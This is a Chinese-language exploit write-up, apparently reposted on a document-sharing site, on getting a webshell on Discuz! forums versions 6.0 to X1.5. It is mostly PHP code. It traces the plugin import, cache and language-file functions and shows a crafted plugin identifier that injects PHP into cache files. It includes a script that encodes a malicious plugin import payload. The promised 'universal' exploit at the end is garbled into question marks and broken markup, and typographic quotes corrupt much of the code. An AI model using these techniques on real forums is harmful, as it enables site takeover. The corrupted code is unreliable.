Discuz!各版本拿Webshell

更新时间：2024-04-28 15:35:01 阅读量：综合文库文档下载

说明：文章内容仅供预览，部分内容可能不全。下载后的文档，内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的，是否完整无缺。

discuz手机版推荐度：
相关推荐

四个版本的漏洞， Discuz! 6.0 、7.0、7.2和X1.5。传X1.5出0day，最后神马也木见??

/include/cache.func.php PHP代码

function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) {

global $authkey;

if(is_array($cachenames) && !$cachedata) { foreach($cachenames as $name) {

$cachedata .= getcachearray($name, $script); } }

$dir = DISCUZ_ROOT.’./forumdata/cache/’; if(!is_dir($dir)) {

@mkdir($dir, 0777); }

if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) { fwrite($fp, “

“\\n//Created: “.date(“M j, Y, G:i”). “\\n//Identify:

“.md5($prefix.$script.’.php’.$cachedata.$authkey).”\\n\\n$cachedata?>”);

fclose($fp); } else {

exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’); } }

————往上翻,找到调用函数的地方.都在updatecache函数中. PHP代码

if(!$cachename || $cachename == ‘plugins’) {

$query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);

while($plugin = $db->fetch_array($query)) {

$data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array())); $plugin['modules'] = unserialize($plugin['modules']);

if(is_array($plugin['modules'])) {

foreach($plugin['modules'] as $module) { $data['modules'][$module['name']] = $module;

} }

$queryvars = $db->query(“SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”); while($var = $db->fetch_array($queryvars)) { $data['vars'][$var['variable']] = $var['value'];

} //注意

writetocache($plugin['identifier'], ”, “\\$_DPLUGIN['$plugin[identifier]‘] = “.arrayeval($data), ‘plugin_’); } }

—————— 如果我们可以控制$plugin['identifier']就有机会,它是

plugins表里读出来的.去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是??你懂的,当你去野区单抓对面DPS时,发现对面蹲了4 个敌人的心情. /admin/plugins.inc.php PHP代码

if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) { if(!$newname) {

cpmsg(‘plugins_edit_name_invalid’); }

$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″); 欲裂,ispluginkey判定newidentifier是否有特殊字符 if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {

cpmsg(‘plugins_edit_identifier_invalid’); }

$db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘, ‘$newidentifier’, ’0′)”); }

updatecache(‘plugins’);

updatecache(‘settings’); cpmsg(‘plugins_edit_succeed’,

‘admincp.php?action=pluginsconfig’);

—————还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路. PHP代码

elseif(submitcheck(‘importsubmit’)) {

$plugindata = preg_replace(“/(#.*\\s+)*/”, ”, $plugindata);

$pluginarray =

daddslashes(unserialize(base64_decode($plugindata)), 1); //解码后没有判定

if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {

cpmsg(‘plugins_import_data_invalid’); } elseif(emptyempty($ignoreversion) &&

strip_tags($pluginarray['version']) != strip_tags($version)) {

cpmsg(‘plugins_import_version_invalid’); }

$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE

identifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″); //判断是否重复,直接入库

if($db->num_rows($query)) {

cpmsg(‘plugins_import_identifier_duplicated’);

}

$sql1 = $sql2 = $comma = ”;

foreach($pluginarray['plugin'] as $key => $val) { if($key == ‘directory’) {

//compatible for old versions $val .= (!emptyempty($val) && substr($val, -1) != ‘/’) ? ‘/’ : ”; }

$sql1 .= $comma.$key;

$sql2 .= $comma.’\\”.$val.’\\”; $comma = ‘,’; }

$db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);

$pluginid = $db->insert_id();

foreach(array(‘hooks’, ‘vars’) as $pluginconfig) { if(is_array($pluginarray[$pluginconfig])) { foreach($pluginarray[$pluginconfig] as $config) {

$sql1 = ‘pluginid’; $sql2 = ‘\\”.$pluginid.’\\”;

foreach($config as $key => $val) {

$sql1 .= ‘,’.$key; $sql2 .= ‘,\\”.$val.’\\”;

}

$db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”); } } }

updatecache(‘plugins’); updatecache(‘settings’);

cpmsg(‘plugins_import_succeed’, ‘admincp.php?action=pluginsconfig’);

}

————-随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.php PHP代码

//Discuz! cache file, DO NOT modify me! //Created: Mar 17, 2011, 16:56

//Identify: 7c0b5adeadf5a806292d45c64bd0659c

$_DPLUGIN['shell'] = array ( ‘pluginid’ => ’11′, ‘available’ => ’0′, ‘adminid’ => ’0′, ‘name’ => ‘Getshell’, ‘identifier’ => ‘shell’,

‘datatables’ => ”, ‘directory’ => ”, ‘copyright’ => ”, ‘modules’ => array ( ),

‘vars’ => array ( ), )?>

———–我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的：forumdata/cache/plugin_a’]=phpinfo();$a['a.php PHP代码

//Discuz! cache file, DO NOT modify me! //Created: Mar 17, 2011, 16:56

//Identify: 7c0b5adeadf5a806292d45c64bd0659c

$_DPLUGIN['a']=phpinfo();$a['a'] = array ( ‘pluginid’ => ’11′, ‘available’ => ’0′, ‘adminid’ => ’0′, ‘name’ => ‘Getshell’, ‘identifier’ => ‘shell’, ‘datatables’ => ”, ‘directory’ => ”, ‘copyright’ => ”, ‘modules’ => array ( ),

‘vars’ => array ( ), )?>

————–最后是编码一次,给成Exp: PHP代码

unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw

IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo

ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6 ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3 OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7 fQ==”));

//print_r($a);

$a['plugin']['name']=’GetShell’;

$a['plugin']['identifier']=’a\\’]=phpinfo();$a[\\'';

print(base64_encode(serialize($a))); ?>

7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选\允许导入不同版本 Discuz! 的插件\

-------------------------------------------------------------------------------------

二、Discuz! 7.2 和 Discuz! X1.5

以下以7.2为例，/admin/plugins.inc.php PHP代码

elseif($operation == 'import') {

if(!submitcheck('importsubmit') && !isset($dir)) {

/*未提交前表单神马的*/

} else {

if(!isset($dir)) { //导入数据解码

$pluginarray = getimportdata('Discuz! Plugin');

} elseif(!isset($installtype)) { /*省略一部分*/ }

//判定你妹啊,两遍啊两遍

if(!ispluginkey($pluginarray['plugin']['identifier'])) {

cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);

}

if(!ispluginkey($pluginarray['plugin']['identifier'])) {

cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);

}

if(is_array($pluginarray['hooks'])) {

foreach($pluginarray['hooks'] as $config) { if(!ispluginkey($config['title'])) { cpmsg(‘plugins_import_hooks_title_invalid’, ”, ‘error’); } } }

if(is_array($pluginarray['vars'])) {

foreach($pluginarray['vars'] as $config) { if(!ispluginkey($config['variable'])) {

cpmsg(‘plugins_import_var_invalid’, ”, ‘error’);

} } }

$langexists = FALSE; //你有张良计,我有过墙梯

if(!emptyempty($pluginarray['language'])) { @mkdir(‘./forumdata/plugins/’, 0777); $file =

DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray['plugin']['identifier'].’.lang.php’;

if($fp = @fopen($file, ‘wb’)) { $scriptlangstr

= !emptyempty($pluginarray['language']['scriptlang']) ?

“\\$scriptlang['\entifier'].”‘] = “.langeval($pluginarray['language']['scriptlang']) : ”; $templatelangstr

= !emptyempty($pluginarray['language']['templatelang']) ?

“\\$templatelang['\“.langeval($pluginarray['language']['templatelang']) : ”; $installlangstr

= !emptyempty($pluginarray['language']['installlang']) ?

“\\$installlang['\“.langeval($pluginarray['language']['installlang']) : ”; fwrite($fp,

“’); fclose($fp); }

$langexists = TRUE; }

/*处理神马的*/

updatecache(‘plugins’); updatecache(‘settings’); updatemenu();

/*省略部分代码*/ }

———————–先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了. PHP代码

function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) { if($GLOBALS['importtype'] == ‘file’) { $data = @implode(”,

file($_FILES['importfile']['tmp_name']));

@unlink($_FILES['importfile']['tmp_name']); } else {

$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt']; }

include_once DISCUZ_ROOT.’./include/xml.class.php’; $xmldata = xml2array($data);

if(!is_array($xmldata) || !$xmldata) { //向下兼容

if($name && !strexists($data, ‘# ‘.$name)) { if(!$ignoreerror) {

cpmsg(‘import_data_typeinvalid’, ”, ‘error’);

} else {

return array(); } }

$data = preg_replace(“/(#.*\\s+)*/”, ”, $data); $data = unserialize(base64_decode($data)); if(!is_array($data) || !$data) { if(!$ignoreerror) {

cpmsg(‘import_data_invalid’, ”, ‘error’);

} else {

return array(); } } } else { //XML解析

if($name && $name != $xmldata['Title']) { if(!$ignoreerror) {

cpmsg(‘import_data_typeinvalid’, ”, ‘error’);

} else {

return array(); } }

$data = exportarray($xmldata['Data'], 0); }

if($addslashes) {

//daddslashes在两个版本的处理导致了Exp不能通用. $data = daddslashes($data, 1); }

return $data; }

——————判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包。我们只要控制scriptlangstr或者其它任何一个就可以了。 PHP代码

function langeval($array) { $return = ”;

foreach($array as $k => $v) {

//Key过滤了单引号,但是只过滤了单引号,可以利用\\废掉后面的单引号 $k = str_replace(“‘”, ”, $k);

//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\\有爱? $return .= “\\t’$k’ =>

‘”.str_replace(array(“\\\\’“, “‘”), array(“\\\\\\’“, “\\’”), stripslashes($v)).”‘,\\n”; }

return “array(\\n$return);\\n\\n”; }

—————————–Key这里不通用.

—————7.2版本如下 PHP代码

function daddslashes($string, $force = 0) {

!defined(‘MAGIC_QUOTES_GPC’) && define(‘MAGIC_QUOTES_GPC’, get_magic_quotes_gpc());

if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) {

foreach($string as $key => $val) {

$string[$key] = daddslashes($val, $force);

} } else {

$string = addslashes($string); } }

return $string; }

———————1.5版本如下 PHP代码

function daddslashes($string, $force = 1) { if(is_array($string)) {

foreach($string as $key => $val) { unset($string[$key]); //过滤了key

$string[addslashes($key)] = daddslashes($val, $force);

} } else {

$string = addslashes($string); }

return $string; }

———————-还是看下shell.lang.php的文件格式. PHP代码

$scriptlang['shell'] = array( ‘a’ => ’1′, ‘b’ => ’2′, ); ?>

———————— 7.2版本没有过滤Key,所以直接用\\废掉单引号.X1.5,单引号转义后变为\\’,再被替换一次’,还是留下了\\而$v在两个版本中过滤相同,比较通用.X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes& action=plugins添加插件 ————————–通用Exp: PHP代码

href=\a??>http://localhost/Discuz_7.2_SC_UTF8/upload/)]]>??
?????????????? ??
?????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????

????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????? ??
?????????????????????????????? ??
?????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????????????????????? ??
??????????????????????????????????????????????????????????????